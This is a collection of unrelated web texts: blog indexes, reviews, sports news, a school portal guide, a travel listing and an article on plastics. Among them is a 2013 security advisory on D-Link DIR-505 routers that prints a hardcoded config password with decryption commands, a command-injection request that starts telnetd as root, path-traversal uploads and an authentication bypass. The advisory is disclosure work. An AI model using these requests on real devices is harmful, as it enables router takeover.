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My article in the April 2019 edition of Rail Professional It explores the impact (or not) of Williams and sets out perhaps more important issues facing the Welsh Government in relation to rail policy and network development - particularly the long term underinvestment of the Welsh rail network. Seems the link is broken...so here is … Continue reading Wales and the Williams Review
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South Wales Metro & Lloyd George Avenue
Just re-read an article for the IWA I penned in 2012...which touched on the opportunity to use the South Wales Metro to finally deliver the Lloyd George Avenue (LGA) envisaged by the Cardiff Bay Development Corporation (CBDC) in the 1990s. For me the Metro presents a huge number of urban design, development and regeneration opportunities. … Continue reading South Wales Metro & Lloyd George Avenue
Wales' Rail Network – The Case for Investment
This short article accompanies the publication of my "Case for Investment" work for Welsh Government in respect of Wales' rail network. It also appeared in the Western Mail on December 12th 2018 "Wales will be getting new trains, but they'll operate on a "2ndGear Railway" In May this year the Cabinet Secretary for Economy and … Continue reading Wales' Rail Network – The Case for Investment
Swansea Bay Metro (Dec 2018)….
My original musings re a Swansea Bay Metro in 2017 have been superseded by more formal work with Welsh Government and Swansea Bay local authorities & stakeholders through 2018 and hopefully into 2019. For a more up to date view of the "art of the possible" take a look at this presentation I gave at … Continue reading Swansea Bay Metro (Dec 2018)….
South Wales Metro – Critique
In November 2018 I was asked to submit evidence to the Economy, Infrastructure and Skills Committee at the National Assembly for Wales in respect of the procurement of the Wales and Borders Franchise and South Wales Metro by Transport for Wales. In setting out my view of that process and an assessment of the … Continue reading South Wales Metro – Critique
Metro & Me, October 2018
In October 2018 we (Cardiff University, Arup, IWA, Capital Law) published a collection of essays related to the South Wales Metro to support the Metro and Me event held in Cardiff on 8th October. Capital Law did the heavy lifting (especially Lowri Gregory) to plan and manage the day. Thanks to all the speakers and … Continue reading Metro & Me, October 2018
Metro Impact Study, October 2013
Worth referring back to the 2013, Metro Impact Study. It now has a new relevance given we are about to build a #southwalesmetro . Note the older "metro map"...this has gone through a few iterations over the last few years!
What Metro Might Do? October 2016
The attached, "What Metro Might Do?" is the output of an event I hosted at Cardiff University in October 2016. It raised many interesting and challenging questions and ideas in respect of the wider impacts of the South Wales Metro. Given that Metro procurement was concluded in May 2018 and KeolisAmey selected as partner to … Continue reading What Metro Might Do? October 2016
Making the Metro work for the Valleys and for Cardiff…
I did a lot of "heavy lifting" re: the South Wales Metro 2010-2016, the burden then passed to Transport for Wales....and now to Keolis/Amey who will work to deliver it by 2023/4. Perhaps I may allow myself a moment to sketch out some ideas for how the planned network could be enhanced and extended from … Continue reading Making the Metro work for the Valleys and for Cardiff…
A Swansea Bay Metro …..and Neath
There has been a lot of debate and comment, especially over the last few days, in respect of my ideas for Swansea Bay and rail connectivity as presented here Firstly and to scotch any rumours, no one is proposing that Neath station should be closed; far from it. I want to see more services to … Continue reading A Swansea Bay Metro …..and Neath
Wider Impacts of South Wales Metro (article for Bevan Foundation July 2016)
Full text of my article for The Bevan Foundation July 4 2016 http://www.bevanfoundation.org I have spent much of the last six years involved in some way in what has become known as the South Wales (or Cardiff Capital Region) Metro; initially as an advocate from the business community who galvanised and led support around my 2011 … Continue reading Wider Impacts of South Wales Metro (article for Bevan Foundation July 2016)
A road to Cardiff Airport….or regeneration in Pontypridd?
Its back again…talk of a £100M link road from J34 of the M4 south through the Vale of Glamorgan to Cardiff Airport has resurfaced (they'll be choking on their ginger beers in Pendoylan). Sounds familiar? Well it is. Welsh Government tested and consulted on this option (and others) in a process in 2007/8 as I … Continue reading A road to Cardiff Airport….or regeneration in Pontypridd?


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Below you can find short introduction videos on how to navigate and acess the core features of Compass used at Point Cook Senior.
Compass allows the College to communicate more efficiently with parents. Using Compass you will be able to access the following:
Compass is a web-based system that is accessible on any modern web browser (Internet Explorer, Firefox, Chrome, Safari, etc) or by using the Compass iOS or Andriod apps.
Every family recieves a seperate login to Compass which will be mailed out to each family. To access the parent portal, clikc the Compass logo at the top of this page.
If you have forgotten your password, or are having any difficulties logging in, please contact the school on 9395 9271.
The home screen provides you with relevant alerts and news, as well as quick access to your childs profile..
1. From the Compass home screen, click on the events alert under 'My News', or navigate to 'Events' under the organisation menu.
2. From the Events page a list of upcoming events and excursions will be displayed. Click the red 'Process Now' button to provide consent and/or payment (depending upon what the event requires).
3. An online payment/consent form will be displayed. Complete all highlighted relevant fields and click the 'Submit Details' button.
Note: If the event has a requirement for both consent and payment, these cannot be done separately. Should you need to provide payment or consent seperately, please click 'Print Form (Offline)' to complete the process manually.
Using Compass you can book parent-teacher conferences online
1. On the home page, underneath the student you wish to make bookings for, click 'Book Parent Teacher Interviews'.
2. A list of parent-teacher interview cycles will be displayed along with their booking status. Click on the relevant cycle.
3. Your booking sheet will be displayed and will show all available booking times. Click on a time in the grid to display teachers available for booking at the selected time.
1. On the home page, underneath the student you wish to make bookings for, select the 'Add Parent Approval' item.
2. From the pop-up window:
- .Select the reason
- Enter a brief description of the absence
- Select the start and finish time
- Click the 'Save' button
Note: Where possible, parent approvals should be entered prior to the absence occuring. Absence from a VCE assessment will require a medical certificate.
Using Compass you can view up-to-the-second attendance information for your child.
To view your child's attendance, click on the Student Profile link on the home page and click the Attendance tab.

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By Dalal Museitef & Bree Reyes |Asst. Features Editor & Staff Writer|
The 23rd Annual "Art of Motion Picture Costume Design" costume exhibition delivered exceptional wardrobe on Feb. 7 from the winners and nominees of the 2014 Academy Awards film like "Maleficent", "The Grand Budapest Hotel", "Selma", "Into the Woods", "Birdman", and "The Fault in Our Stars".
The room flooded with the elite people of fashion at the Fashion Institute of Design and Merchandising (FIDM) and according to the museum staff, about 800 to 1,000 people attend the event every year.
All five costume collections nominated for the Academy Award for Costume Design were showcased to praise the films of 2014.
"No matter what time period or genre in which the movie is set. there is one underlying thread common to all of them," stated Michael Black, the exhibition curator and museum coordinator, in a media kit guide. "Each article of clothing was carefully researched to best represent the character wearing it, and the feel of the movie in which it is seen."
According to Black, the exhibition is sectioned into three galleries. The first section, fantasy and ancient history movies, gives a close-up on the costume designers focus on unique fabrics and techniques that create the desired looks.
The costumes from "Maleficent", "Guardians of the Galaxy", "X-Men: Days of Future Past", and "Birdman" had a strong presence because of the rigorous work of the designers to create the elaborate designs.
The elegantly long black "Maleficent" costume was center stage at the entrance of the exhibit.
The look was completed with the characters extravagant horned head piece.
The character "Birdman", played by actor Michael Keaton, had a structured, light suit using feathers and dark blue hues.
The costume constricted certain moves, but was still able to perform stunts according to costume designer Albert Wolsky.
The second section ranged from the 1920s to contemporary time periods, which are more traditional, but required research and often include specially made fabrics to re-create clothing that is no longer available.
Although the film, "The Great Gatsby" was released in 2013, it was on display to signify the exceptional classical look which featured a ruffled magenta dress and ivory-colored men's suit, giving a 1920s vibe.
Contemporary works included "Gone Girl" and "The Fault in Our Stars", and although the costumes were not focused on theatrics, the normal, every-day wardrobe like jeans, tennis shoes, and graphic T-shirts were carefully selected to reflect the characters' personalities.
Also, FIDM Alumna, Mary Claire Hannan designed the wardrobe for the coming-of-age film, "The Fault in Our Stars".
Milena Canonero who designed the costume for, "The Grand Budapest Hotel" focused on capturing the "fictional, candy-colored Eastern European Republic of Zubrowka in between World War I and World War II," as stated by Canonero in a Vanity Fair interview.
However, there were hints of imperfections on certain costumes, such as a dress featured from the historical drama Selma.
While the featured cream-colored dress had a beautiful straight silhouette ,glimmering diamonds and pearls that dangled to catch every source of light, there were hints of stitching that seemed to be out of place on the lower section of the dress.
The final section showcased the costumes from musical and dance films.
The designers focus on creating clothes that are beautiful, while also making sure they function when the actor/actress is performing.
"Jersey Boys", "Step Up: All In", and "Into the Woods" all had a similar focus in terms of the functionality of the costumes.
"Jersey Boys sported crimson suits, Step Up: All In" incorporated jerseys, and jeans ensembles.
"Into the Woods" amplified the theatrics with long billowy dresses that uniquely presented each character.
The exhibit concluded with refreshment from the bar along with small finger foods such as chicken quadrilles with Mac-n-Cheese.
Be sure to relive the moment of these films from Tuesday, February 10 through Saturday, April 25, 2015. This event is located on the campus of FIDM,
Visiting hours are Tuesday through Sunday, 10:00 a.m. to 5:00 p.m.


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Towards the end of James Franco's The Disaster Artist, we are treated to clips of the film's premiere. This is an excuse for Franco (who also produced and stars) to re-enact scenes from The Room (the film this film is about) with his own cast. It's one of the most shallow, pandering, attention-demanding things I've ever seen.
The Disaster Artist is based on a book written by Greg Sestero and Tom Bissell. The book in turn is about Sestero's experience filming The Room (billed as the Citizen Kane of bad movies) and his friendship with the film's writer/director/producer/star, Tommy Wiseau. This Escher-like cycle of a film about a book which is about a film will only be complete when Wiseau publishes an account of his experience on the press tour for Franco's movie.
Make no mistake, The Room is terrible. But it's one of those "so bad it's good" films that has garnered cult-hero status among many, including myself, my friends, James Franco, and his friends. The ultimate issue is that Franco's adaptation substitutes smugness for the book's underlying soul. The making of The Room is a story about a man with lots of money and no qualifications who decides to make it in Hollywood and will not be told "No." It's also the story of his best friend, torn between helping his friend realize a dream and saving his own career from the depths of mediocrity this dream is doomed. The film has bits of that story almost because it has to and panders to fans (Roomies?) for the majority of the 105–minute run time.
The film's Sestero (Dave Franco) has little in the way of character and exists as a straight man to Wiseau's (James Franco) absurder-than-life persona. There's an undercurrent of possessive jealousy on Wiseau's part that is neither directly addressed nor resolved. Greg's girlfriend Amber (Allison Brie) is relegated to a knowing wink-line ("what if [The Room] is really bad?") before being dismissed off-screen; her nastily poignant line "I liked you better when you were poor," from the book is missing here. Instead we get heavye-handed references to The Room itself. Greg and Tommy's third and fourth scenes together are in a diner and tossing a football around in Golden Gate Park, respectively. Tommy's first scene is him delivering an over-the-top Tennessee Williams monologue that references/copies this scene from the source material. Tommy and Greg even have a heart-to-heart on the roof of their apartment, very akin to those of Johnny and Mark (their characters). Art does not imitate life here — none of these things happened in the book. Instead, this is smug hackery imitating earnest hackery.
Franco's film is the epitome of smug Hollywood elitism: ape something popular while using the greater resources at your disposal to ostensibly make a superior product. Not only do we get the aforementioned shot-for-shot copies of The Room's most laughable scenes with Franco and Co. subbed in for the original cast, the credits offer us side-by-side comparisons between original scenes and Franco's fugazis. What is the point of this? For that matter, what is the point of parading names like Bryan Cranston, Sharon Stone, and Zac Effron through this film? Why have the real Tommy Wiseau appear in an incoherent post credits scene with Franco's portrayal? Is James Franco really trying to prove he's as good a director as Tommy Wiseau? If so, he fails. He pleads for audience laughter and validation, something Wiseau literally earned without trying. The irony of perennial Hollywood insiders making a movie about struggling to be accepted by Hollywood (winking at the camera all the while) is borderline nauseating. Franco's film lacks any artistry; what we're left with is disaster.


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D-Link DIR-505 1.06 - Multiple Vulnerabilities
Multiple vulnerabilities on D-Link Dir-505 devices
Title: Multiple vulnerabilities on D-Link Dir-505 devices
Discovery date: 05/04/2013
Release date: 09/09/2013
Credits: Alessandro Di Pinto (alessandro.dipinto () artificialstudios org)
Twitter: @adipinto
This security vulnerability affects the following products and firmware
* D-Link DIR-505, firmware version <= 1.06
Other products and firmware versions could also be vulnerable, but they were
not checked.
1) Weak configuration file encryption
The file provided to the end-user in order to make a backup copy of the device
configuration, is encrypted with a hardcoded password. The device firmware
creates the configuration file in three specific steps, as shown below:
- Collect the configuration data to backup
- Encrypt entries with the hardcoded password "sw5-superman"
- Create the file header through the tool "imghdr"
The file header has the fixed-size of 84 byte. An attacker ables to get an
encrypted configuration file could decrypt its contents with the following
sh# dd if=config-file of=config-file-no-header bs=84 skip=1
sh# ccrypt -d -K sw5-superman config-file-no-header
Decrypted file contains sensitive information that an attacker could use
in order to compromise the target device (e.g., admin password and WPA
Furthermore, an attacker can craft a own configuration file, encrypt it with
the hardcoded password, append at the beginning of file a valid header and
finally upload the new configuration to the target device without
authentication, exploiting the "Authentication bypass" issue described inside
this advisory.
2) Command Injection
An authenticated attacker can exploit the "Ping Test" feature exposed inside
the page "/System_Check.htm", in order to execute arbitrary commands inside the
device, with root privileges. More precisely, the "ip_addr" parameter is not
sanitized properly, thus it is possible to leverage traditional command
injection techniques. This security issue is exploitable only after a
successful authentication.
Proof-of-Concept used to open telnet on vulnerable devices:
POST /my_cgi.cgi HTTP/1.1
Host: [IP]
Cookie: uid=[VALID-COOKIE-HERE]
Content-Length: 55
request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd;
3) Path traversal (directory listing)
The web-gui exposed through the port 8181/TCP is used to explore the contents
of the USB drive, connected at the device. Normally the end-user is allowed to
list only the files inside the own USB drive but, due to insufficient security
checks, an attacker is ables to list the contents of every file system
directories. Only authenticated users can exploit this issue.
Proof-of-Concept used to list the device's /etc/ directory:
4) Path traversal (file upload)
The web-gui exposed through the port 8181/TCP allows authorized users (e.g.,
admin user) to upload files inside the USB drive connected at the device. The
upload feature is present at the following link:
The upload operation is performed through a POST request to the resource
"/dws/api/UploadFile" using a "multipart/form-data" content-type. Several
parameters are passed but the "path" parameter can be abused in order to modify
the destination directory of the uploaded file. This issue allows an
authenticated user to upload an arbitrary file inside the target device.
Proof-of-Concept used to upload a simple text file inside the /tmp/ directory:
POST /dws/api/UploadFile?0.35494315220771677 HTTP/1.1
Host: [IP]:8181
Cookie: uid=[VALID-COOKIE-HERE]
Content-Type: multipart/form-data;
Content-Length: 1179
Content-Disposition: form-data; name="id"
Content-Disposition: form-data; name="tok"
Content-Disposition: form-data; name="volid"
Content-Disposition: form-data; name="path"
Content-Disposition: form-data; name="filename"
Content-Disposition: form-data; name="upload_file"; filename="test.txt"
Content-Type: text/plain
malicious text
5) Privilege escalation (hardcoded credential)
The upload feature, described in the issue 4 titled "Path traversal (upload
file)", is theoretically designed to be used only by authorized users (selected
through the web-gui). The device has the following hardcoded user which cannot
be deleted using the web-gui:
username: guest
password: guest
Using this credential, the end-user can access the web-gui (exposed on the port
8181/TCP) in read-only mode; the button used to upload files is disabled in
attempt to deny unauthorized operations. However due to a wrong session
handling, an attacker can bypass described limitation following below steps:
- Login with the hardcoded user "guest" in order to get a valid cookie.
- Using this cookie it is possible to make a direct upload request like the
Proof-of-Concept described previously in the issue 4.
The purpose of this exploit is to perform an arbitrary file upload using an
hardcoded (read-only) user.
6) Authentication bypass
The "my_cgi.cgi" resource exposes several features accessible with no
authentication. In particular, every request that specifies the HTTP header
field "Content-type: multipart/form-data" is processed without perform any
authentication check. An *unauthenticated* attacker can exploit this issue in
order to upload a malicious configuration on the target device, overwriting the
original configurations (e.g., set a new admin password).
Proof-of-Concept used to upload a configuration file without perform the login:
POST /my_cgi.cgi HTTP/1.1
Host: [IP]
Cookie: uid=[VALID-COOKIE-HERE]
Content-Type: multipart/form-data;
Content-Length: 382
Content-Disposition: form-data; name="which_action"
Content-Disposition: form-data; name="file"; filename="attacker-config.bin"
Content-Type: text/plain
D-Link has released an updated firmware version (1.07) that addresses most of
the described issues. Firmware is already available on D-Link web site, at the
following URL:
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.


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If you were a dog, would you be an inside dog or an outside dog?
From my personal point of view, I'd rather be an outside dog. The freedom entices me. Would I play in the snow? Absolutely? Would you? I hope so, but don't be worried about having a different opinion. Having different tastes or likes or desires from someone else doesn't necessarily make you wrong. The world would be a dull place if everyone enjoyed the same music, or ate the same kind of food, or preferred the same exact activities.
The dog chases sticks. I don't want to pretend to know what the dog is thinking when he enjoys this activity. I probably have a clue, though. If I was that dog, why would I chase a stick? For the mystery and excitement of seeing where the stick landed. For the thrill of seeing how fast I could return with it. Did the stick fly farther than last time? Where will it land? Can I differentiate the one thrown from all the other sticks in the world? What will the stick smell like when I pick it up this time? Did you see how fast I ran? Want to see me do it again? Want to see how fast I am when the wind changes direction?
If a dog could throw his own stick, would he ever come back?
Your dog will follow you anywhere. Dogs don't likely know when you're homeless. Dogs don't likely know when you're lost. Dogs follow because they have a loyalty uncommon to the animal kingdom. Not many animals would stick with you no matter where you go.
A dog chases his own tail. I'm not even going to pretend to know what the dog is thinking when he chases his own tail. Is he thinking he'll catch it? I don't know. Is he thinking, "Look how fast I can move my tail!"? Not sure. There's an answer. Only the dog knows, and it should probably stay that way. Let the dogs have some secrets.
It's no secret that dogs need to go for walks. If a dog is an inside dog, Mister Owner-Man will need to leash him up and take him around the block a time or two. Exercise still happens outside for the inside dog.
Leashes are less of a necessity for an outside dog. Do you sense the freedom of being an outside dog? Have I convinced you yet?
An outside dog has the freedom to chase other dogs, to bark at other dogs, to bark at passing vehicles, to cower under a rock during lightning storms, to howl at midnight, to growl at outside cats.
A dog can chase and race and fetch. A dog can shatter bones with his teeth. A dog can growl and howl and bark.
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The title "Reversing Roe" may be unsettling (if not a bit alarmist), but the possibility of a Roe V. Wade reversal unfortunately became very real once Justice Anthony Kennedy announced his retirement from the United States Supreme Court in June. Just in time, the Oscar-nominated director/producer team Annie Sundberg and Ricki Stern ("The Devil Came on Horseback") have teamed up once again for a look back at the landmark Supreme Court decision, and the factors that led to the current political climate — and its threat to reproductive rights.
Taking a somewhat neutral approach to its controversial subject matter, "Reversing Roe" aims to help audiences understand what's at stake if Roe V. Wade were to be overturned, and uncover the motivations of both sides. In his B-grade review of the film, IndieWire's David Ehrlich wrote that the film "sharply dissects the process by which abortion soured from a private medical issue to a public political one."
"Reversing Roe" premiered at the Telluride Film Festival this week ahead of its international Netflix release on September 13, a couple of months ahead of the midterm elections. It is executive produced by Eva Longoria. Check out the trailer for "Reversing Roe" below.
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I'm at about 35,000 feet in the air as I write this article. I'm flying to a conference in St. Paul, Minnesota that will take a week of my life. This type of thing isn't necessarily the most fun I have on my job, but it is part of my job. Sometimes understanding why I have to leave my family for a bit of time is difficult. Like this time. I just don't always understand the need for me to go somewhere. But my job demands it, so I go. I plug away and work hard to get through it, not just slog through it – but get through it well. Why? Because everything I do, even the things I don't fully understand – I do for Christ my King.
This article is the first in a series that examine the relationship between grace, justification, and sanctification. The reason I am examining these three amigos is a dear brother in the Lord asked me a question. I didn't have an answer for him and I struggled a bit forming one. But I kept going. Not just to get an answer, but for the glory of Christ my Savior and King. Do I fully understand everything? Nope. Does my lack of understanding in any way detract from the truth of God's word? Nope.
My plan is to examine each of these three important doctrines. I will then put it all together in (hopefully) one article that will try to put these three amigos together. I hope I communicate the truths I have discovered well because, quite frankly, they are nothing short of awesome. So let's jump in and discover God's wonderful three amigos – Grace, Justification, and Sanctification.
These three doctrines are important to understand on their own. It is also important to understand how each of them interacts with the others. And not for just these three essential doctrines but for all essential doctrines. Getting that done is not always easy – well, truth be told, it is never easy. But it is important because none of these doctrines works its way out in our lives in a vacuum.
There is a logical progression of sorts in the order these doctrines become effective in the life of a believer. This is only a logical order since there is very little (if any) time between these doctrines becoming active in the life of a believer. The logical progression of these three amigos can be illustrated simply
As I said before, this is simply the logical – not chronological – progression. In real time, the three amigos essentially happen at the same time but do have an affect on each other throughout the Christian's life.
I hope you enjoy this short series concerning these three very important doctrines. As usual, we will proceed as fast as the subjects allow. I'm in no hurry to get these done. I am, though, wanting to communicate precisely and clearly the subjects. I trust you will profit from this.


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We're back with an all-new episode of the Chiefs Wire podcast!
During this episode, Chiefs Wire managing editor Charles Goldman opens the show recapping last Sunday night's home loss to the Green Bay Packers. FOX 47 (KXLT-TV) Minnesota sports anchor Naomi Grey calls in to break down the Minnesota Viking's view on this Sunday's game. Cali-Chief Danilo Di Julio and Talon Graff are joined by Fangirl Huong Forrest to preview the Chiefs Week 9 strategy in our roundtable discussion. Lastly, Chiefs Wire contributor John Dillon shares the story of Super Bowl IV, and it's historical significance for both teams, shaping today's league.


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More Job Descriptions for executive recruiter Resumes
executive recruiter
- Partner with customers to get a clear view on their strategic and financial objectives and hiring needs
- Identifying and recruiting prospective candidates using a variety of channels
- Assessing candidates to ensure qualification match, cultural fit and compatibility
- Conducting confidential interviews, checking references
- Present shortlisted candidates and provide detailed profile summaries
- Offer guidance and facilitate the negotiation process through to its completion
- Follow up with clients and assist with the candidate's transition and on-boarding process
executive recruiter (us shift)
- Working with clients like Bank of Amrica, Conduent, Fannie Mae, Vantiv, Fifth Third Bank through SLK Amrica, HCL America, Capco.
- Responsible for thorough understanding of technical requirements and identify the qualified resources from the IT market.
- Responsible for thoroughly grilling the IT resources such as Software Developers, Database Administrators, Quality Analysts, Business Analysts, Technical Analysts, Network Engineer, Technical Managers, Technical Architects, etc. before presenting to the Client to ensure the quality outcome.
- Communicate and prioritize client requirements to sales executives and recruiters.
- Mentored 3 Junior Recruiters as well and helped them to achieve their target.
- Closely working with Hiring managers for scheduling interviews, candidate selection, and collecting the feedback of the candidates interviewed.
- Interview and screen candidates through various methods including behavioral, question/answer, Skype Call and telephone.
executive recruiter
- Responsible for sourcing and recruiting technical professionals which match client specifications
- Developed and managed client relationships
- Solely responsible for coordinating the placement process between the candidate and the client
- Assisted in interviewing prospective new recruiters
executive recruiter
- Developed and managed recruitment/research process for assigned projects and set expectations to client and internal team appropriately
- Utilized creative sourcing techniques in order to target and cold call passive candidates as the firm did not have an applicant tracking database system
- Wrote job descriptions, pre-screened and interviewed potential candidates in order to qualify the best quality candidate to present to clients
- Set-up and maintained files, records and databases such as master extension, cell phone and office inventory lists.
- Generated profile letters and conducted reference checks on finalist candidates
senior executive recruiter (contract)
- Helped open a new office and built a strong network of clients in the banking industry all over the country as they outsourced recruiting duties to our firm
- Developed strong relationships with candidates, marketed their talent, and closed the deal on job placements
- Consistently portrayed a high level of charisma and enthusiasm as the first point of contact for our firm
- Engaged potential clients and candidates quickly, while presenting a professional face for the company and the position that was open


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In the hopes of becoming a better resource for others with chronic illness, I will be stepping back from sharing personal stories as often on this site.
My focus is on epilepsy, which I was diagnosed with in late 2015 at the age of 24. I also experience myoclonic jerking, essential tremor and anxiety. Recently I have been dealing with the possibility of an MS diagnosis which I have shared previously on this site.


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"The biggest adventure you can ever take is to live the life of your dreams." – Oprah Winfrey
Unleash the adrenaline junkie in you as you make your way and try SandBox in Porac, Pampanga. SandBox at Alviera is said to be a unique getaway for families and friends that redefine outdoor adventure and fun. The adventure hub features a full stretch of exciting attractions that will definitely make everyone appreciate the outdoors. It is said that every family member has something to do in this giant playground. With a mountain range that serves as a backdrop and a vast plain that surrounds the area, SandBox is an ultimate place for outdoor fun!
- Giant Swing- the country's tallest swing. Each swing can accommodate three guests at a time and creates the back and forth movement at 10-meter above the ground.
- Aerial Walk Challenge – a high rope adventure course of nets and rope walkways. The Aerial walk is a series of activities that will test each users' agility, balance and flexibility. An active guest can make his way through this course in about 30 minutes.
- Avatar One- the Philippines' first roller coaster zipline. One doesn't just zip down the 180-meter (length) course but zigzags along starting from 12 meters high.
- Adventure Tower – a 5-storey structure that consists of various activities such as rappelling, wall climbing, jump off for the free fall, jump off for the roller coaster zip line and the view deck.
- ATV and mini-ATV rides- a themed kiddie playground with picnic areas, mini-golf, camping sites, a courtyard and an open field for field sports and other outdoor activities.
It is important to note that you come early as there is a limit to the number of guests allowed per activity. This is part of the management's safety measures to ascertain the maintenance of the facilities and of course, the safety of guests.
Here are the limits in numbers: Aerial Walk (first 140 persons); Free Fall (first 270); Rappel Wall (first 140 guests); Giant Swing (first 360; Wall Climbing (first 140 guests); and Avatar Roller Coaster Zipline (first 290 guests). I am not just sure with regards to the basis of their limits.
Individual Rates for Activities:
- Giant Swing Php100
- Aerial Walk Php150
- Free Fall Php100
- Rappel Wal Php50
- Wall Climbing Php50
- Roller Coaster Zipline Php150
- Mini Golf Php150
- ATV Php2,500 per hour / Php15,000 for 8 hours in the courtyard
- UTV Php3,000 per hour / Php20,000 for 8 hours in the open field
|Package A: Php600
Entrance fee already included
|Package B: Php520
Entrance fee already included
|Package C: Php480
Entrance fee already included
|Package D: Php370
Entrance fee already included
Package E: Php340
Entrance fee already included
Address: Alviera, Porac Municipality, Pampanga
(Take the Porac Access Road from NLEX-SCTEX)
Operating Hours: Tuesday-Sunday 9am-5pm; Entrance fee is Php75 per person.
Email: email@example.com
Tel. Nos.: 0936-988-6023 / 0917-803-3099 / (045) 432-0014
Facebook: https://www.facebook.com/AlvieraPH
Website: http://www.alviera.ph
Instagram: @alvieraph


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Will the Pittsburgh Steelers sign any more unrestricted free agents this offseason? It's hard to know for sure, but if they do, odds are good that any unrestricted players signed moving forward will be for minimum salaries and after Tuesday passes. Tuesday, in case you weren't aware, is this year's deadline for signed unrestricted free agents to count in the compensatory draft pick formula.
As things stand currently for the Steelers, they're expected to receive a third-round compensatory pick in the 2020 NFL Draft as a result of what transpired this so far this offseason in regard to unrestricted free agents lost and gained.
Since free agency got underway in the middle of March, the Steelers have signed two qualified unrestricted free agents in cornerback Steven Nelson and wide receiver Donte Moncrief. Additionally, the Steelers have seen three of their own unrestricted free agents this offseason, running back Le'Veon Bell, tight end Jesse James and linebacker L.J. Fort, all sign with other teams. If you're curious as to why the Steelers signing of linebacker Mark Barron isn't listed as an unrestricted free agent gain for the Steelers, it's because he was released by the Los Angeles Rams and signed with Pittsburgh as a street free agent.
Based on how the compensatory draft pick formula works, the Steelers signings of Nelson and Moncrief are currently expected to cancel out their losses of James and Fort. That should leave Bell as the lone registering loss for the Steelers and as Steve Korte of Over the Cap projects, Pittsburgh should receive a third-round compensatory pick in the 2020 NFL Draft should the balance sheet remain status quo. Obviously, if Fort were to get cut by the Philadelphia Eagles prior to the start of the 2019 regular season, or not stick on their roster most of the year, that could potentially change the 2019 compensatory value balance sheet in a negative way for the Steelers.
After the Steelers recently selected linebacker Devin Bush out of Michigan in the first-round of the 2019 NFL Draft, general manager Kevin Colbert explained that the decision to trade up 10 spots to get the player was somewhat based on the organization expecting to receive some sort of compensatory selection in the 2020 NFL Draft. That first-round trade up with the Denver Broncos to draft Bush cost the Steelers their first and second-round selections in this year's draft and a third-round selection in the 2020 NFL Draft.
"So being able to do it with this year's two and next year's three, we believe at this point we'll have some type of compensatory pick in 2020," Colbert said not long after Bush was selected. "So that gives you a little bit more justification for trading away the future pick. Again, we'll have a pick but we don't know what it will be at this point, but we think we'll get a pick. So hopefully it balances out to some equation."
The NFL will not announce the compensatory picks awarded for the 2020 NFL Draft until well after the 2019 season is over and likely in late February.


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I finally got to the upholsterer yesterday to pick up the chair and pillows. I'm feeling unsure about the foam inserts in the pillows but I'm pleased with how the chair turned out! Not bad for $40 at the flea market! If you don't have one already, you need to add an upholsterer to your entourage.


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Why you should avoid plastics
Plastics are widely used to store and package foods and beverages, Uses include disposable and reusable containers, plastic wraps, cutlery and water bottles. Plastic is convenient, lightweight, unbreakable and relatively inexpensive. However, there are both environmental and health risks from the widespread use of plastic. Most plastics are made from petroleum, a non-renewable and mostly imported resource. Plastic packaging also creates unnecessary waste. Although plastic is lightweight, it is bulky, so it takes up a large volume of landfill space. Use of plastics in cooking and food storage can carry health risks, especially when hormone-disrupting chemicals from some plastics leach into foods and beverages. Plastic manufacturing and incineration creates air and water pollution and exposes workers to toxic chemicals.
The Best and the Worst
Greenpeace has a helpful list of what plastics are the best and worst, and why. Biopolymers are the best, followed by polyolefins (PE/PP/HDPE) second, PET third, ABS / polycarbonate / polyurethane / polystyrene fourth, and PVC worst. Here are the details, from their site and others who have written about this:
- Biopolymers (called "bio-" because they are made from plant cellulose or starch, not petroleum) usually use the least toxic ingredients, do not release toxic gases or other substances into the environment during the product's life, and certainly use the least fossil fuels for their manufacture. Some biopolymers are compostable.
- Polyolefins (PE, HDPE, LDPE are all polyethylene, PP is polypropylene) are the best petroleum-based plastics because they use fewer toxic chemicals than other plastics. They're also very widely recycled (recycling codes #2, #4, and #5.)
- PET / PETE (polyethylene-terephthalate; in clothes it's called polyester) is not as good as simple polyethylene because more additives are put into it (usually UV stabilizers and flame retardants), but it's still widely recycled (recycling code #1).
- ABS (acrylonitrile-butadiene-styrene) and Polycarbonate (PC) are what almost all consumer electronic device cases are made out of–computers, cell phones, MP3 players, you name it. Some are just ABS or PC, most are a blend of the two. The ingredients for both ABS and polycarbonate are suspected to be carcinogenic, some are also mutagenic; polycarbonates use nasty solvents in its manufacture. They are both perfectly recyclable but are rarely recycled in municipal systems because they fall into recycling code #7, "other". Polystyrene (PS) has carcinogenic ingredients like ABS (both contain styrene), but is also damages human reproductive systems. It's also recyclable but not often recycled (recycling code #6).
- PVC (polyvinyl chloride), uses more toxic ingredients for its manufacture, because in addition to carcinogens like vinyl chloride it also requires plasticizers to be flexible, these plasticizers are more toxic than the base plastic itself. Besides the manufacturing hazards, dioxin and other toxins like DEHP (a plasticizer connected to reproductive illness) outgas, leach, and flakes fall off PVCs during its use in your home; when thrown away, these chemicals also leach into groundwater in landfills. This is why they are the worst on the list. They can be recycled (recycling code #3), but rates are generally low. The good news is they were never in consideration for our product anyway.
Environmental hormones
Plastics are nearly unavoidable in modern living, but can have serious health effects. Plastics and polystyrene (Styrofoam) are used worldwide to pack food. These plastic and polystyrene containers contain compounds known as environmental hormones or endocrine disruptors that often leach out into food. This leaching process is expedited at higher temperatures, i.e., while the food is hot. Moreover, these compounds can be stored in the body's fatty tissues where they can readily accumulate.
The simplest definition of an environmental hormone is that it is a compound that has hormonelike activity; hence, it adversely affects the endocrine system and consequently alters the development and/or reproduction of organisms, including humans.
These compounds can act in various ways, however, most share the following modes of action: (1) they can recognize the binding sites of natural hormones thereby mimicking their effects; (2) they can block the interaction of natural hormones with their binding sites; (3) they can react directly or indirectly with hormones; (4) they can alter the natural pattern of synthesis of hormones; and, (5) they can alter hormone receptor levels. (The simplest definition of a hormone is that it is a substance that regulates growth and development.)
Plastics contain xenoestrogens which can have devastating effects on your body's estrogen receptors. Plastic containers, plastic food wrap, plastic soda bottles, and other plastics such as styrofoam and vinyl products, can release chemical toxins into your food merely by the fact that the plastic has touched the food, or by microwaving in containers that have not been produced to withstand the extreme heat of a microwave oven. Never reuse butter or margarine containers, or containers that other foods such as nondairy whipped toppings come in to microwave foods. These containers are not manufactured to withstand the high heats of microwaving. Microwaving in such containers causes a chemical breakdown and releases toxic chemicals into your food.
